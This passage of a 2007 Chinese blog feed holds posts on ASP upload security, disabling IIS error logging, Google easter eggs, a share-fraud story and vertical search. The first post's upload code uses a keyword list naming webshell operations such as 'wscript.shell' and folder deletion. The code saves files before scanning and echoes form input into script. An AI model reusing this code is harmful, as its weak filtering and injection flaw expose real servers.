		  <summary type="html"><![CDATA[你的网站是否经常被人上传木马?相信本文会对你有所帮助!<br/>以下是一段很常见的ASP上传代码,尽管限制了上传文件的类型，但只要将要上传的ASP文件后缀改为JPG或其它允许的类型，仍然是可以上传的：<br/><br/>&lt;!--#include file=&#34;upload_wj.inc&#34;--&gt;<br/><br/>&lt;%<br/>set upload=new upload_file<br/>if upload.form(&#34;act&#34;)=&#34;uploadfile&#34; then<br/>filepath=trim(upload.form(&#34;filepath&#34;))<br/>filelx=trim(upload.form(&#34;filelx&#34;))<br/><br/>i=0<br/>for each formName in upload.File<br/>set file=upload.File(formName)<br/><br/>fileExt=lcase(file.FileExt) &#39;得到的文件扩展名不含有.<br/>if file.filesize&lt;100 then<br/>response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;请先选择你要上传的文件！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>response.end<br/>end if<br/>if (filelx&lt;&gt;&#34;swf&#34;) and (filelx&lt;&gt;&#34;jpg&#34;) then <br/>response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;该文件类型不能上传！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>response.end<br/>end if<br/>if filelx=&#34;swf&#34; then<br/>if fileext&lt;&gt;&#34;swf&#34; then<br/>response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;只能上传swf格式的Flash文件！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>response.end<br/>end if<br/>end if<br/>if filelx=&#34;jpg&#34; then<br/>if fileext&lt;&gt;&#34;gif&#34; and fileext&lt;&gt;&#34;jpg&#34; then<br/>response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;只能上传jpg或gif格式的图片！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>response.end<br/>end if<br/>end if<br/>if filelx=&#34;swf&#34; then<br/>if file.filesize&gt;(3000*1024) then<br/>response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;最大只能上传 3M 的Flash文件！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>response.end<br/>end if<br/>end if<br/>if filelx=&#34;jpg&#34; then<br/>if file.filesize&gt;(1000*1024) then<br/>response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;最大只能上传 1000K 的图片文件！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>response.end<br/>end if<br/>end if<br/><br/>randomize<br/>ranNum=int(90000*rnd)+10000<br/>filename=filepath&amp;year(now)&amp;month(now)&amp;day(now)&amp;hour(now)&amp;minute(now)&amp;second(now)&amp;ranNum&amp;&#34;.&#34;&amp;fileExt<br/>%&gt;<br/>&lt;%<br/>if file.FileSize&gt;0 then &#39;&#39;如果 FileSize &gt; 0 说明有文件数据<br/>&#39;file.SaveAs Server.mappath(filename) &#39;&#39;保存文件<br/><br/>file.SaveToFile Server.mappath(FileName)<br/><br/>&#39;&#39;以下代码Agang修改,<br/><br/>sFile=server.mappath(FileName)<br/>set MyFile=server.Cr&#101;ateObject(&#34;Scripting.FileSystemObject&#34;)<br/>set MyText=MyFile.OpenTextFile(sFile, 1) &#39;读取文本文件<br/>sTextAll=lcase(MyText.ReadAll)<br/>MyText.close<br/>&#39;判断用户文件中的危险操作<br/>sStr=&#34;.getfolder .cr&#101;atefolder .del&#101;tefolder .cr&#101;atedirectory .del&#101;tedirectory .saveas wscript.shell script.encode&#34;<br/>sNoString=split(sStr,&#34; &#34;) <br/>for i=0 to ubound(sNoString)<br/>if instr(sTextAll,sNoString(i)) then<br/>set filedel=server.Cr&#101;ateObject (&#34;Scripting.FileSystemObject&#34;)<br/>filedel.del&#101;tefile server.mappath(FileName)<br/>response.write &#34;你的ip和时间已被纪录，由于你曾多次使用该方法对系统进行非法攻击，我们将会把你的数据向海南省公安部及海口网警报告!&#34;<br/>set MyFiletemp=server.Cr&#101;ateObject(&#34;Scripting.FileSystemObject&#34;)<br/>set wfile=myfiletemp.opentextfile(server.mappath(&#34;gjrz.txt&#34;),8)<br/>wfile.writeline date()&amp;&#34; &#34;&amp;time()&amp;&#34; &#34;&amp;request.servervariables(&#34;remote_addr&#34;)<br/>Response.end<br/>end if<br/>next<br/><br/>&#39;response.write file.FileName&amp;&#34;　　上传成功!　　&lt;br/&gt;&#34;<br/>&#39;response.write &#34;新文件名：&#34;&amp;FileName&amp;&#34;&lt;br/&gt;&#34;<br/>&#39;response.write &#34;新文件名已复制到所需的位置，可关闭窗口！&#34;<br/>if filelx=&#34;swf&#34; then<br/>response.write &#34;&lt;script&gt;window.opener.document.&#34;&amp;upload.form(&#34;FormName&#34;)&amp;&#34;.size.value=&#39;&#34;&amp;int(file.FileSize/1024)&amp;&#34; K&#39;&lt;/script&gt;&#34;<br/>end if<br/>response.write &#34;&lt;script&gt;window.opener.document.&#34;&amp;upload.form(&#34;FormName&#34;)&amp;&#34;.&#34;&amp;upload.form(&#34;EditName&#34;)&amp;&#34;.value=&#39;&#34;&amp;FileName&amp;&#34;&#39;&lt;/script&gt;&#34;<br/>%&gt;<br/>&lt;%<br/>end if<br/>set file=nothing<br/>next<br/>set upload=nothing<br/>end if<br/>%&gt;<br/>&lt;script language=&#34;javascript&#34;&gt;<br/>window.alert(&#34;文件上传成功!请不要修改生成的链接地址！&#34;);<br/>window.close();<br/>&lt;/script&gt;<br/>但经测试,如果将ASP文件加密,再改为JPG文件,同样还是可以上传,这样需要用到以下的代码,替换上面的:<br/><br/><br/>&#39;判断用户文件中的危险操作<br/>sStr=&#34;.getfolder .cr&#101;atefolder .del&#101;tefolder .cr&#101;atedirectory .del&#101;tedirectory .saveas wscript.shell script.encode. 重命名 修改 属性 文件浏览器 新建 复制 成功 参数错误 服务器 空间 下载&#34;<br/><br/>试试,还能上传吗<br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.6353.com.cn/default.asp?id=251" /> 
	  <id>http://www.6353.com.cn/default.asp?id=251</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[服务器C盘空间不足？无故死机?关闭服务器HTTPERR日志，降低CPU占用！]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.6353.com.cn/</uri>
		 <email>210016@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.6353.com.cn/default.asp?cateID=5" label="Asp" /> 
	  <updated>2007-11-17T14:33:02+08:00</updated>
	  <published>2007-11-17T14:33:02+08:00</published>
		  <summary type="html"><![CDATA[服务器C盘空间不足？无故死机?关闭服务器HTTPERR日志，降低CPU占用！<br/><br/>默认情况下，2003服务器会把所有IIS访问错误的记录写入 C:\WINDOWS\system32\LogFiles\HTTPERR 下的 log 文件中，如果访问量比较大，可能一段时间后 日志文件可能会占满C盘空间，导致服务器死机。同时因为要写入所有的IIS访问记录，如果访问量较大会大大增加服务器CPU占用率<br/><br/>关闭HTTPERR的方法<br/><br/>运行里输入 regedit 进入注册表编辑器<br/>[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HTTP\Parameters]<br/><br/>在右边 点鼠标右键 新建dword值 EnableErrorLogging 重新启动服务器就可以了<br/><br/>&#34;EnableErrorLogging&#34;=dword:00000000 <br/><br/>重起后，2003不再写入HTTPERR日志文件，可以看到服务器CPU占用明显下降！<br/><br/>C:\WINDOWS\system32\LogFiles\ 导致c盘空间不足的问题解决方法<br/><br/>删除 C:\WINDOWS\system32\LogFiles\HTTPERR 和C:\WINDOWS\system32\LogFiles\W3SVC1312124267 当中 修改日期非当前日期的文档..<br/>其他的无需删除...<br/>C:\WINDOWS\system32\LogFiles\HTTPERR 是iis日志保存文件.可以关闭iis日志功能.在iis-属性中. <br/>服务器的日志功能很少成为首要的关注对象，但却是日复一日的服务器管理和监视工作不可或缺的助手。IIS 6.0在日志功能方面有许多重大的改进，但遗憾的是，W3SVC日志事件仍不能以本地时间记录。<br/><br/> 　　在IIS 6.0中，记录日志的功能已经改为由http.sys实现，http.sys在内核模式下运行。这一改进加快了日志写入速度，同时避免了多个工作进程争用同一日志文件。某些特殊的情况下，http.sys会遇到错误，这时它应该但却不能将日志信息写入Web网站的日志，例如，工作进程正在被回收，禁止http.sys处理用户请求，或者用户试图连接到服务器，但请求中只提供了IIS所需信息的一部分。如果出现这类情况，http.sys将把事件写入一个新的日志文件httperr.log。<br/><br/> 　　在排解故障、优化IIS 6.0的过程中，httperr.log日志文件是十分重要的。默认情况下，httperr.log文件保存在\system32\logfiles目录，但可以修改，修改方法是找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HTTP\Parameters注册子键，在它下面添加一个名为ErrorLoggingDir的字符串值，在ErrorLoggingDir中设置保存日志文件的完整路径。在httperr.log日志文件中可以找到的信息包括：所有的503（服务不可用）错误，空闲连接超时，解析URL时出现的各种错误，最后10个提交给失败的应用程序池的请求。<br/> <br/>　　IIS 6.0还拥有一种称为二进制日志的功能，启用这个功能后，IIS 6.0将把Web网站的所有日志信息写入一个二进制格式的日志文件，日志文件的扩展名是.ibl。要启用二进制日志功能，只要把配置文件的W3SVCC/CentralBinaryLoggingEnabled条目设置成ture（1）即可。对于ISP来说，这个功能应该非常有用。ISP的每台机器上可能有1000甚至更多的Web网站，如果每个Web网站每天生成一个日志文件，日志文件的总数很快会达到一个天文数字。微软最近发布的Log Parser 2.0工具能够读取二进制日志文件并生成报告，这个工具可以从<a href="http://download.microsoft.com/download/iis50/utility/2.0/nt5xp/en-us/setup.exe" target="_blank">http://download.microsoft.com/download/iis50/utility/2.0/nt5xp/en-us/setup.exe</a>下载。Log Parser 2.0还能够读取前面介绍的httperr.log文件并生成报告。<br/> <br/>　　从很久以前开始，IIS就允许指定本地服务器上保存日志文件的目录了。不过，虽然IIS 5.0和IIS 4.0的IIS管理器允许在指定日志文件路径的时候输入一个远程服务器的通用命名规范（UNC）的路径，但Web服务器实际上不会把日志保存到远程服务器。只有IIS 6.0才真正支持日志文件路径的UNC路径名。<br/><br/>服务器C盘空间不足的解决方法<br/><br/>找到c:/windows/system32/logfiles/<br/>这个目录下的文件清理干净就可以了.<br/><br/>然后把iis站点的日志存放路径改一下<br/><br/>不要放到C盘<br/>或者选择不保留iis访问日志. <br/><br/>打开iis的站点属性,网站选项卡上有个日志记录,编辑它的属性.能解决以上问题.<br/><br/>问：IIS日志记录文件很大，有什么问题吗？<br/><br/>每天一个日志文件，上百M,会不会引起访问变慢或死机啊？&nbsp;&nbsp;<br/>我们现在就经常出现突然不能访问了，不知是不是这个问题。&nbsp;&nbsp;<br/>一般日志文件就一直任其无限增大的吗？&nbsp;&nbsp;<br/>---------------------------------------------------------------&nbsp;&nbsp;<br/><br/>备份后可以删除。&nbsp;&nbsp;<br/> <br/>最好看看日志内容，有没有什么可疑的记录。&nbsp;&nbsp;<br/>---------------------------------------------------------------&nbsp;&nbsp;<br/> <br/>日志文件有那么大吗?一般日志文件是都保存在系统盘吗??&nbsp;&nbsp;<br/>---------------------------------------------------------------&nbsp;&nbsp;<br/> <br/>在C:\WINDOWS里的system32中<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.6353.com.cn/default.asp?id=250" /> 
	  <id>http://www.6353.com.cn/default.asp?id=250</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Google隐藏小秘密，让我悄悄告诉你]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.6353.com.cn/</uri>
		 <email>210016@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.6353.com.cn/default.asp?cateID=15" label="Optimize" /> 
	  <updated>2007-07-23T13:40:10+08:00</updated>
	  <published>2007-07-23T13:40:10+08:00</published>
		  <summary type="html"><![CDATA[<a href="http://www.google.com/microsoft" target="_blank">http://www.google.com/microsoft</a>&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;微软风格的入口 　 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.google.com/mac" target="_blank">http://www.google.com/mac</a> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;MAC风格的入口 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.google.com/linux" target="_blank">http://www.google.com/linux</a> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;Linux风格的入口 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.google.com/bsd" target="_blank">http://www.google.com/bsd</a> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;FreeBSD风格的入口 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;Google有各种语言的版本，下面这些语言可能是在是稀罕了点儿 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.google.com/intl/xx-klingon/" target="_blank">http://www.google.com/intl/xx-klingon/</a> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;克林冈语入口（没看过星际旅行吗？） <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.google.com/intl/xx-bork/" target="_blank">http://www.google.com/intl/xx-bork/</a> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;政治入口？ <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.google.com/intl/xx-elmer/" target="_blank">http://www.google.com/intl/xx-elmer/</a> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;宗教入口 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.google.com/intl/xx-piglatin/" target="_blank">http://www.google.com/intl/xx-piglatin/</a> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;小猪入口 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.google.com/intl/xx-hacker/" target="_blank">http://www.google.com/intl/xx-hacker/</a> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;黑客专用入口 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;Google里还有一个小小的彩蛋游戏，大家自己去看吧！ <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.google.com/Easter/feature_easter.html" target="_blank">http://www.google.com/Easter/feature_easter.html</a> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;下面是一个更有用的彩蛋 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://froogle.google.com/" target="_blank">http://froogle.google.com/</a> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;作用： 通过特殊的搜索引擎，你可以在网上找到你想购物的网站位置。以及你可以很方便的搜索出同类产品的价格。 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;看看世界各地的商品价格，自己再买的时候心底有数多了把 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://labs.google.com/gviewer.html" target="_blank">http://labs.google.com/gviewer.html</a> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;作用：一个小玩具，适合那些连鼠标都懒得动的懒人。当你在google上找到了查询结果后，你可以使用google viewer让结果以自己定义的间隔时间来一条一条自动滚屏。 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://labs.google.com/cgi-bin/webquotes" target="_blank">http://labs.google.com/cgi-bin/webquotes</a> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;作用：可以搜索出你要查询的内容在internet上被多少其他的网站引用过，可以让你知道internet上其他人对你要查询内容的观点，适合写论文和评论以及特殊用途人使用。 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://labs.google.com/glossary" target="_blank">http://labs.google.com/glossary</a> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;作用：顾名思义了，就是一个查英语缩写语意的工具，google的词汇表 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://labs1.google.com/gvs.html" target="_blank">http://labs1.google.com/gvs.html</a> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;作用：给google打一个电话，说出你要查找的内容，然后google会把你要查询的结果显示出来。 给不识字的人用的？<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.6353.com.cn/default.asp?id=243" /> 
	  <id>http://www.6353.com.cn/default.asp?id=243</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[112万元如何掉进“原始股陷阱” ]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.6353.com.cn/</uri>
		 <email>210016@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.6353.com.cn/default.asp?cateID=21" label="stock" /> 
	  <updated>2007-07-20T08:20:46+08:00</updated>
	  <published>2007-07-20T08:20:46+08:00</published>
		  <summary type="html"><![CDATA[【故事背景】<br/>　　日前上海实信产权经纪公司（下称“实信公司”）业务经理施正楠因涉嫌非法经营被检察机关提起公诉。该案上月已在上海浦东新区人民法院开庭审理。检方指控施正楠在未经国家有关主管部门批准取得证券经营许可的情况下，于2005年3月至2005年11月间，在第一证券设立的办公场所内，以上市后获利丰厚为诱导，向社会公众销售未上市公司———四川国鸿信息产业股份有限公司的股权，共计销售金额84万元。其行为已触犯相关法律规定，应当以非法经营罪追究其刑事责任，处五年以下有期徒刑，并处罚金。<br/><br/>　　身为上海最近这波原始股风潮中最大的受害者，秦晓帆接受了采访，向记者讲述了两年前在第一证券营业部首次买入一批“原始股”后，先后投资112万却血本无归的的悲惨经历。<br/><br/>　　误入圈套<br/><br/>　　两年前，赋闲在家的秦晓帆突然接到一个自称是第一证券的人打来的电话，说可以向她介绍最新的投资理财方案。<br/><br/>　　秦晓帆去了第一证券，看到办公室的玻璃门上到处有‘第一证券’的标记，她信以为真。这时，一个自称是证券公司员工叫张婷的女子热情地接待了她：开始时劝她开户炒股，但马上又说炒股收益太低，不如参与他们的另一项“业务”———原始股。“当时介绍我买的是一家叫四川国鸿信息有限公司的原始股。他们告诉我，这种股票一上市至少可翻两三倍，而且上市地点就在国内中小企业板。”<br/><br/>　　其间，另一个业务经理施正楠也凑了上来，狂捧四川国鸿，说连他们自己的员工也买了，甚至把交割单、托管中心卡都给秦晓帆看了看。<br/><br/>　　想到来推销的是正规的证券公司、买的又是将在中小板上市的公司股票，而且连推销的人自己都买了……终于，在两人的鼓动下，秦晓帆以每股4.2元的价格，按他们的要求以现金付款的方式买了7万股四川国鸿，投入29.4万元。当时是2005年6月。<br/><br/>　　秦晓帆后来才获知，张婷和施正楠原来并非第一证券的员工，而是隶属于上海实信产权经纪公司。他们只不过租借了第一证券营业部的场地，却对外打起证券公司的旗号。<br/><br/>　　越陷越深<br/><br/>　　2005年8月，施正楠突然打电话告诉她，最新的评估结果出来了，四川国鸿上年每股收益高达0.7元。现在还剩下一点股份，可以按照员工的优惠价卖给她，买10000股送1000股。<br/><br/>　　“我当时要求第一次买的也要享受员工待遇，施后来同意了，于是我又交了21万元，得到62000股。这样，在四川国鸿上我一共投进去50.4万元。”<br/><br/>　　就在这段时间，中国资本市场进入股改。当秦晓帆向施打听这些原始股的情况时，对方推说因股改的关系，IPO暂时停顿了。“他告诉我，‘正因为股改，这些公司才会把原始股卖给你，否则人家早就上市了，哪里轮得到你？’我想这也不是他们的问题，是国家政策，于是就继续等待。”<br/><br/>　　2005年11月的一天，对方的财务杨洋突然找到她，说还有一家更好的公司—————华茂农科也即将上市，厚厚一沓评估报告都出来了，都是专业的评估公司做的，问她要不要买。“当时我就说，只要你们自己人买了，我就买。于是他们又给我看了交割单。我再次相信了他们，以51.75万元买了13万股华茂农科。”<br/><br/>　　“那段时间我和他们经常碰面，自以为对他们很了解、很放心，感觉他们不像骗子。”对自己当初的轻信，秦晓帆至今悔恨不已。<br/><br/>　　就在她买入华茂农科半年后，2006年6月，杨洋又给她打来电话，约她去买一家在海外上市的公司—————春飞日化。“我当时问她自己买不买，她说买的。于是我凑了10.72万元，和她一起去了那家中介机构，买了2万股春飞日化，她则投了5万多元。后来我才知道，这是场彻彻底底的骗局—————就在我们两个交钱之后，杨洋说请我喝咖啡，就一起走了；等我们前脚刚走，施正楠后脚就去把他们的5万多元取出来了。”<br/><br/>　　如梦方醒<br/><br/>　　直到2006年8月的一天，秦晓帆从报纸上看到关于原始股骗局的报道后才缓过神来，赶紧打电话给施正楠，发现手机已关机。意识到自己被骗的秦晓帆报了案。<br/><br/>　　就在警方立案侦查的同时，秦晓帆也开始了自己的调查：她从四川工商局得到的一份资料显示，四川国鸿自2003年后就没有进行过工商年检，也就是说这家公司很可能从2003年以后就没有了，而且股东名册上根本没有她的名字。<br/><br/>　　颇具意味的是，本案的主犯施正楠最后也是秦晓帆通过一己之力找到的。<br/><br/>　　当时是国庆节，秦晓帆在施正楠父母的家门口守了七天，终于在长假的最后一天等到了施，并等他酒足饭饱回到自己家后，才闯了进去和他谈判。<br/><br/>　　“一开始，施正楠说愿意偿还我51万元的损失，将他刚买的这间房子过户到我的名下，不过要先打几个电话问问情况。等到电话打完，他突然翻了脸，扔给我一句话：‘这个罪也就是非法经营，最多关个三五年。房子不会给你，要报案的话请便。’”<br/><br/>　　秦晓帆最终拨打了110，随后赶到的警方将施正楠拘捕归案。<br/><br/>　　直到警方侦破此案，秦晓帆才知道：最早接待她的那个张婷其实用的是化名，真名叫金国丹。杨洋也是化名，其真名叫周莉琴，她是施正楠的老婆。<br/><br/>　　同病相怜<br/><br/>　　在庭审前的这段时间，越来越多的被害人前往中介机构要讨回损失，秦晓帆遇到不少：有个80多岁的老汉被骗了50多万元，在得知对方已经人去楼空后竟然在大庭广众之下小便失禁。还有一个在原始股上投了10多万元的送水工，哭诉说这些钱都是他一桶桶水送出来的，如今一夜成空。更有些已经退休的中老年人，多年积蓄血本无归后，从此在愧疚、懊悔中度日。<br/><br/>　　秦晓帆也是其中之一。她至今只能靠双亲的2000元退休工资维持生活。她在原始股上投下的100多万元中有50万元还是借来的。<br/><br/>　　（应采访对象要求，文中“秦晓帆”系化名） <br/><br/>　　快报记者 陈其珏<br/><br/><br/>　　【相关链接】 <br/><br/>　　原始股敛财常见模式<br/><br/>　　专家介绍，原始股案件通常的行为模式包括以下几个步骤：<br/><br/>　　他们首先会找到一家未上市的股份公司或注册一家股份有限公司，对其进行包装，虚构或扩大公司的经营规模、业绩和发展前景，再以该公司拟上市为名，对外出售股票。多采用随机拨打电话给投资人的方式推销，以公司上市需凑足一定股东人数、要达到一定数量的股份等为借口，许以高额回报来诱骗投资者购买股票。销售股票所得款，大部分由销售人员占有，小部分交给了所谓要上市的公司。<br/><br/><br/>　　证券非法咨询活动<br/><br/>　　现身网络、手机短信<br/><br/>　　当下证券非法咨询活动的新动向主要是一些不具有证券投资咨询业务资格的机构和个人，借助网络、手机短信等方式推荐股票，招揽客户，兜售证券投资相关产品。<br/><br/>　　一是传播虚假信息，夸大证券投资收益。一些机构和个人，宣称掌握内幕信息，或与基金公司合作，能够提前介入基金建仓的股票等等，把自己包装成为“炒股高手”、“民间股神”，博得投资者信任；二是以网络、手机短信为主要方式；三是手段翻新，打政策“擦边球”。或以私募基金为名行非法咨询之实，或以提供研究资讯、内幕信息为名通过网络直接收取费用，或以销售荐股软件为名，夸大证券产品功能。<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.6353.com.cn/default.asp?id=242" /> 
	  <id>http://www.6353.com.cn/default.asp?id=242</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[垂直搜索的误区和赢利分析]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.6353.com.cn/</uri>
		 <email>210016@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.6353.com.cn/default.asp?cateID=15" label="Optimize" /> 
	  <updated>2007-07-18T15:21:28+08:00</updated>
	  <published>2007-07-18T15:21:28+08:00</published>
		  <summary type="html"><![CDATA[<br/>随着广告市场的不断细分，垂直搜索风起云涌。但是，一大批垂直搜索网站，目前还是处于烧钱的阶段，现金流很少，赢利也微乎其微。中国的垂直搜索雷声很大收获很小。 <br/><br/>为什么这些网站从表面上看，都做得不错，但是都没有能够达到赚钱的目的？仔细研究发现，不少垂直搜索都进入了赢利的误区。 <br/><br/>误区之一：盈利模式不清晰，为搜索而搜索。网站营运的最后目的是为了赢利，如果赢利模式没有想清楚，千万不要贸然启动。比如一些社会性搜索、天气搜索、IP地址查询搜索。虽然，从理论上讲，这些都有市场的需求，但是商业价值不大，盈利模式不清晰，这样的网站赢利就比较困难。除非像IP138，明确定位非赢利机构。 <br/><br/>误区之二：流量大就能赚钱。现在有些垂直搜索，为了把流量做大，想了很多办法。比如增加一些商业价值很低但是很多人关注的行业，不惜使用情色图片，采用技术手段增加虚假点击等等。甚至有观点认为，只要流量做大了，即使网站自身不赚钱，也会有风投或者其他大型网站来购买。其实，流量只是网站赢利的必要条件，而不是充分条件。是否能够赚钱，要看带来流量的客户质量。比如：8684公交网，带来的主要是做公交车的用户，这样的用户就不够高端；搜视，作为主要瞄准电视受众的垂直搜索，要取得很大的商业价值，也是一件困难的事情。 <br/><br/>误区之三：把很多行业叠加在一起，总有一个行业赚钱！ <br/><br/>有一些搜索，把很多行业叠加在一起，显得整个网站杂乱，没有规划，好像什么东西都可以装，但是，什么都没有优势，结果不仅没有达到&#34;东边不亮西边亮&#34;的初衷，而且也失去了自己的个性。垂直搜索范围太宽，接近通用搜索，显然是不太合适的。 <br/><br/>误区之四：只要带&#34;商&#34;就商机无限。现在带&#34;商&#34;的垂直搜索太多，有一窝蜂的趋势。商搜、搜商、天网商搜……其实这些搜索大同小异，基本上都是阿里巴巴搜索功能的切割或者变形，没有太多更新的创意。 <br/><br/>那么，垂直搜索如何赢利呢？通过对中国约30家垂直搜索网站的研究，总结出以下几点。 <br/><br/>首先，要做出自己的特色，在自己选定的搜索领域，做精、做细、做全，做到用户使用一次以后，就再也没有必要使用其它搜索。比如查公交线路，上8684公交网就比较好；查找IP地址，上IP163就比较好；购买汽车、手机，上搜评网，就是最好选择。 <br/><br/>其次，站在用户的角度规划搜索结果。像通用搜索那样，把海量的信息交给用户，而不进行分类、整理，垂直搜索就没有意义，就没有优势可言。易比网，专门建立了自己的比较搜索；搜评网，不仅仅对每款产品的信息进行分类，还可以把同类产品拿出2-5款进行列表比较，这样用户一看，就能判断，什么产品才是自己的需要。这样的搜索结果，就远远不是通用搜索能够达到的。 <br/><br/>第三、垂直搜索不能太单薄。不少垂直搜索就是瞄准某一个行业，整个网站显得很单薄。比如搜视网，专门针对电视，虽然网站已经有了一定流量，但是内容太单一，空间就有限，他还要受到《中国电视报》网络版TV猫的挑战。因为只能提供单一行业搜索，所以流量也不会太大。建议抓住生活中常用的、商业领域热门的产品，开发集群式垂直搜索，这些领域包括汽车、电脑、手机、电器、房产、旅游等行业，因为这些都是现代都市人不可或缺的每年有巨大消费的行业，当然蕴含巨大商机。比如搜评网、酷讯，在这些方面都值得学习和借鉴。 <br/><br/>第四、整合web1.0、web2.0 的优势，把资讯、论坛、博客和搜索有机结合起来，使网站有血有肉，互相带来流量，相得益彰！看看奇虎，周鸿祎就把它弄成门户、博客、搜索的混血儿，还没有看到什么赢利，风投就趋之若鹜；搜评网，将论坛和博客中的网民评论及问答单独按产品或关键词独立搜索，让网民互相分享使用经验，这方面比奇虎旗下的奇酷做的更专业些，这应该也是搜评网获得风投得原因之一。 <br/><br/>第五、开发新的赢利产品。如果仅仅只是与通用搜索一样，依靠竞价排名和广告获得赢利，那可能只是切割通用搜索的一块蛋糕，如果垂直搜索利用自身开发的更为精确的数据库系统，在某个行业形成具有权威性的研究报告，就可以形成卖点。搜房最初就是卖报告起家的，现在的艾瑞、易观，研究报告都是重要的收入来源。搜评网，就在汽车、手机、IT、数码等方面形成了建立在搜索大量数据基础上形成的产品消费报告（应该是中国第一个也是唯一一个）和行业咨询报告，也是他们实现赢利的重要产品之一。(n105) <br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.6353.com.cn/default.asp?id=239" /> 
	  <id>http://www.6353.com.cn/default.asp?id=239</id> 
  </entry>	
		
</feed>